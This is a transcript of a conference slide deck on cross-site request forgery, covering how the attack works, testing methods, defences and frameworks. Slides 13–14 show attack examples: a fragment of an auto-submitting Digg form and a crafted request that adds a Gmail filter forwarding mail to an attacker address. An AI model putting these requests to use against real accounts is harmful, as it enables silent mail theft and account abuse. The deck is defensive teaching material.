CSRF The Sleeping Giant - PowerPoint PPT Presentation

1 / 41
About This Presentation
Title:

CSRF The Sleeping Giant

Description:

Login. Home page. Read Email. Visit page img src=http://email.com/addfilter? ... Nothing on myspace works. ... stating that myspace is down for maintenance ... – PowerPoint PPT presentation

Number of Views:922
Avg rating:3.0/5.0
Slides: 42
Provided by: carey
Category:

less

Transcript and Presenter's Notes

Title: CSRF The Sleeping Giant


1
CSRFThe Sleeping Giant
  • Mike Andrews
  • Foundstone Professional Services
  • mike.andrews_at_foundstone.com
  • http//www.mikeandrews.com/

2
Who am I?(why am I qualified to talk about this?)
  • Principal at Foundstone
  • Responsible for WAPT testing services
  • Wide range of clients
  • Performs more than 200 WAPTs per year
  • Developer, researcher, teacher

3
What is this about?
  • CSRF Cross Site Request Forgery
  • Session riding, OneClick attack,
    SideJacking
  • Fundamental (security) flaw in web apps
  • Why is it important
  • Allows an attacker to force request to be made
    (silently) as a legitimate user
  • Very little talk about it, but getting louder
  • What we are going to cover
  • How the attack works
  • The potential
  • How to test for the vulnerability
  • How to protected against exploit

4
How the web works
  • Request Response
  • The requirement of state
  • Cookies
  • Cookies, sessions and authorization

5
Basics of CSRF
r_at_evil.com /
Visit page
Login
Home page
Read Email
Add Filter
6
What just happened?
  • Request Response
  • For each request browser automatically sends
    cookie(s)
  • Application does not (necessarily) check
    originating page
  • No (good) way of validating where the source of a
    request came from

7
How many sites are vulnerable
  • Has been referred to as the sleeping giant of
    web security
  • http//www.darkreading.com/document.asp?doc_id107
    651
  • http//jeremiahgrossman.blogspot.com/2006/09/csrf-
    sleeping-giant.html
  • Unless a site does something specific to protect
    itself, its most likely vulnerable
  • Theres very little talk about this vulnerability
    other than a few incidents that quickly go away
  • Its not all that easy to fix input validation
    will not solve this one

8
How long have we been vulnerable?
  • Confused Deputy problem 1988
  • XSS first discovered in 1996
  • Dispute if CSRF exploited XSS
  • Not really, CSRF doesnt require the cross
    site, or even the scripting.
  • First real discussion on BugTraq in 2001
  • See WebAppSec mailing list for more

9
How prevalent is this?
Graph courtesy of WhiteHat Security -
http//www.whitehatsec.com/home/assets/WPstats0808
.pdf
10
Why not more talk about this?
  • Everyone focused on XSS, SQLi
  • CSRF is fundamental to the way the web works
  • Theres no simple fix
  • Well, there are some, but more on this is a moment

11
Demo
http//www.foundstone.com/us/resources/proddesc/ha
cmebooks.htm
12
Can it get any worse?
  • Of course it can!
  • Attacks only get better, they never get worse.
  • Examples
  • Digg http//4diggers.blogspot.com/
  • Gmail http//www.davidairey.com/google-gmail-secu
    rity-hijack/
  • Drive-by Pharming http//www.symantec.com/enterpr
    ise/security_response/weblog/2007/02/driveby_pharm
    ing_how_clicking_1.html
  • Netflix http//www.webappsec.org/lists/websecurit
    y/archive/2006-10/msg00063.html
  • Samy http//en.wikipedia.org/wiki/Samy_(XSS)
  • See WHID for (future) examples http//www.webapps
    ec.org/projects/whid/byclass_class_attack_method_v
    alue_cross_site_request_forgery_(csrf).shtml

13
The story that Diggs itself
border0px"
function
fillframe() mf window.frames"myframe" h
tml 'om/diginfull" method"post"' html html '
'
html html ' name"orderchange" value"2"/' html html '
value"http3A//digg.com/"/' html html '
value"0"/' html html ' type"hidden" name"page" value"0"/' html
html ' value"undefined"/' html html ' type"hidden" name"row" value"1"/' html
html '' mf.document.body.innerHTML
html mf.document.diggform.submit()

14
Gmail Add Filter
http//www.gnucitizen.org/util/csrf?_methodPOST_
enctypemultipart/form-data_actionhttps3A//mail
.google.com/mail/h/ewt1jmuj4ddv/3Fv3Dprfcf2_emc
truecf2_emailevilinbox_at_mailinator.comcf1_from
cf1_tocf1_subjcf1_hascf1_hasnotcf1_attachtrue
tfiszirfonnvp_bu_cftbCreate20Filter
http//www.gnucitizen.org/util/csrf?_methodPOST_
enctypemultipart/form-data_actionhttps3A//mail
.google.com/mail/h/ewt1jmuj4ddv/3Fv3Dprfcf2_emc
truecf2_emailevilinbox_at_mailinator.comcf1_from
cf1_tocf1_subjcf1_hascf1_hasnotcf1_attachtrue
tfiszirfonnvp_bu_cftbCreate20Filter
15
Samy Worm
10/04, 1234 pm..
You have 73 friends.
1 hour later, 130 am
You have 73 friends and 1 friend request.
I began to examine the site some more, seeing how
they restrict things, what they restrict, taking
some breaks to look at profiles of really hot
girls, trying to add them as friends and getting
rejected, and getting back to making my profile
cool so that they would add me as a friend later.
Chicks dig cool profiles. After a little bit of
messing around, I found that I could put in a
longer headline than what they allowed. Hell, I
could even get around their other restrictions
and get HTML in there in order to add cool
"effects" to my page that other people can't add.
Yeah, that will get me chicks. Girls want guys
who have computer hacking skills.
7 hours later, 835 am
You have 74 friends and 221 friend requests
It allows you to set up a profile/web page with a
limited ability to make it look and feel how you
wanted. Too limiting. I couldn't even fit a good
line into my "headline" without taking words out
and sounding like G.W.B. trying to respond to an
arbitrary question. Hell, I couldn't even fit
more than 12 glamour shots on my photos page.
Like an illegal alien with a plan, I ventured to
evade these limiting borders.
Woah. I did not expect this much. I'm surprised
it even worked.. 200 people have been infected in
8 hours. That means I'll have 600 new friends
added every day. Woah.
1 hour later, 930 am
You have 74 friends and 480 friend requests.
Oh wait, it's exponential, isn't it. St.
1 hour later, 1030 am
You have 518 friends and 561 friend requests
3 hours later, 130 pm
You have 2,503 friends and 6,373 friend requests
I'm canceling my account. This has gotten out of
control. People are messaging me saying they've
reported me for "hacking" them due to my name
being in their "heroes" list. Man, I rock.
Apparently people are getting pissed because they
delete me from their friends list, view someone
else's page or even their own and get re-infected
immediately with me. I rule. I hope no one sues
me.
5 hours later, 620 pm
You have 2,503 friends and 917,084 friend requests
3 Seconds later
918,268 friend requests
3 Seconds later
919,664 friend requests
1 Minute later
1,005,831 friend requests
1 hour later, 705 pm
A friend tells me that they can't see their
profile. Or anyone else's profile. Or any
bulletin boards. Or any groups. Or their friends
requests. Or their friends. Nothing on myspace
works. Messages are everywhere stating that
myspace is down for maintenance and that the
entire myspace crew is there working on it.
http//namb.la/popular/
16
What are the potential attacks?
  • Pretty much anything you can do functionally with
    the application
  • Attack mechanisms
  • , , , , (pretty much
    anything with src or href)
  • , JavaScript
  • XMLHttpRequest / AJAX
  • (many others)

17
Issues with finding/testing for CSRF
  • Identifying CSRF for the average tester is hard
  • Simply replaying a request may look vulnerable,
    but may not be
  • Need to know the application well, including its
    defensive measures
  • Automated systems (black- or white-box) do not
    (currently) do a good job

18
Pattern for testing/finding CSRF
  • Identify any sensitive operations/functions
  • Execute the functionality and log the
    page/parameters
  • e.g. the action not the change password
    page, but the page/script that does the change
  • Note any secret/random parameters and remove
    them
  • Do not remove values that do not change
  • Do not remove cookies
  • Replay the request

19
Pattern for testing/finding CSRF
http//markjaquith.wordpress.com/2006/06/02/wordpr
ess-203-nonces/
20
Protecting applications from CSRF
  • Myths
  • POST requests are not vulnerable
  • Only POST requests are vulnerable
  • Only Web2.0 applications are vulnerable
  • Multi-page functions are not vulnerable
  • Cross-domain policy protects us

21
Protecting against CSRF
  • Use only POST requests in the application
  • Use the HTTP REFERER header to validate request
    source
  • Use single non-changing GET/POST token for entire
    session
  • Use a hashed session- and action-specific value
  • Use unique token for each request
  • Use secret data only user would know

No protection
Low protection
Medium protection
Strong protection
22
CSRF Protections REFERER
  • REFERER field added by browser to requests
  • Identifies the calling page
  • Checking the referer header we know where the
    request originated from

23
Implementation
  • Impact
  • Have to have a sitemap of acceptable referers
  • Pros
  • Simple to implement
  • Cons
  • Referer header is optional and arbitrary
  • Not sent on change from HTTP to HTTPS
  • May be stripped out by proxies
  • Can be spoofed by some technologies

24
CSRF Protections CSRFToken
  • Generate a token for each user session
  • Token could be session ID
  • Add token to each request
  • http//www.example.com/action.cgi?CSRFToken1234d
    ata....
  • Check token value before allowing the action
  • Attacker needs to know and add this token
  • Browser does not automatically add to request

25
Implementation
  • Impact
  • Minimal. If using session ID nothing extra to
    store
  • Pros
  • Very simple to implement and check
  • Works independent of browser settings
  • Cons
  • Attacker only has to discover one CSRF token
  • Issues with using session ID as token
  • All requests have to use SSL
  • Circumvents SECURE and HTTPOnly cookie settings
  • Appears in GET requests in logs (e.g. malicious
    admin)

26
CSRF Protections ActionSession hash
27
Implementation
  • Impact
  • Medium
  • Each page/action has to have its own action
    key
  • Have to (pre)create hash on every page and add to
    links
  • Have to cache/re-create hash and check on server
  • Pros
  • Strong protection
  • Leakage of a hash doesnt affect the rest of the
    app or users
  • Cons
  • Computational overhead

28
CSRF Protections Unique Token
29
Implementation
  • Impact
  • High
  • Storage requirement for tokens on page
  • Computational requirement for generating random
    data
  • Latency on reading/writing to store
  • Pros
  • Very strong protection
  • Doesnt matter if token(s) are lost
  • One-time use
  • Cons
  • Overhead

30
CSRF Protections Secret information
31
Implementation
  • Impact
  • Small for application, possibly large for user
  • Pros
  • For passwords/user-known info no technical hack
  • Easy to put in before high value operation
  • Cons
  • Breaks the users flow
  • Techniques/systems exist for defeating CAPTCHAs

32
Average time to fix
Graph courtesy of WhiteHat Security -
http//www.whitehatsec.com/home/assets/WPstats0808
.pdf
33
Frameworks for CSRF protection
  • J2EE
  • CSRFGuard http//www.owasp.org/index.php/CSRF_Gua
    rd
  • PHP
  • csrf-magic http//csrf.htmlpurifier.org/
  • CSRFx http//code.google.com/p/csrfx/
  • .NET
  • CSRFGuard.NET http//www.owasp.org/index.php/.Net
    _CSRF_Guard
  • Viewstate ( ViewStateUserKey or SessionID)
  • ESAPI http//www.owasp.org/index.php/ESAPI

No claims of appropriateness or completeness of
any of these solutions
34
CSRF and XSS
  • XSS and CSRF are often confused
  • Is XSS a requirement for CSRF?
  • With CSRF can someone steal cookies/hijack a
    page?
  • CSRF XSS Game Over!
  • XSS can read the one time tokensXSS can read
    page responses
  • Only defense on sites with XSS are
  • CAPTCHA (can be defeated)
  • Non-public inputs (passwords)

35
Auditing for CSRF
  • Pretty much impossible
  • Attack comes from users own machine/IP
  • Looks very much like normal traffic
  • Only possible hint is user request being out of
    sequence
  • Build a site graph
  • Look for navigation jumps
  • Be careful of back and shortcuts
  • POSTs usually aren't logged

36
Protecting users from CSRF
  • The window of exposure
  • Encourage logout after use
  • Prominent logout button on every page
  • Reasonable session timeouts
  • keep-alive heartbeats are bad
    http//www.codinghorror.com/blog/archives/001100.
    html

37
Future Protection
  • Browser virtualization
  • Site Security Policy
  • http//people.mozilla.com/bsterne/site-security-
    policy/details.html
  • IE8
  • And/or FF NoScript?

38
Is it just browser/webapps
  • Not in the slightest
  • Although it is a web-based issue currently
  • Many desktop apps are making requests to servers
    over HTTP
  • Desktop widgets
  • Toolbar gadgets
  • Etc

39
Conclusion
  • CSRF vulnerabilities are inherent in most web
    apps unless you do something specific about them
  • Testing for CSRF takes skill and knowledge
  • Adding protection for CSRF transparently is not
    easy, but there are some simple mitigation
    techniques that can be used

40
Questions
mike.andrews_at_foundstone.com mike_at_mikeandrews.com
www.mikeandrews.com
41
References/Resources
  • http//www.owasp.org/index.php/Cross-Site_Request_
    Forgery
  • http//www.cgisecurity.com/articles/csrf-faq.shtml
  • http//www.isecpartners.com/files/XSRF_Paper_0.pdf
Write a Comment
User Comments (0)
About PowerShow.com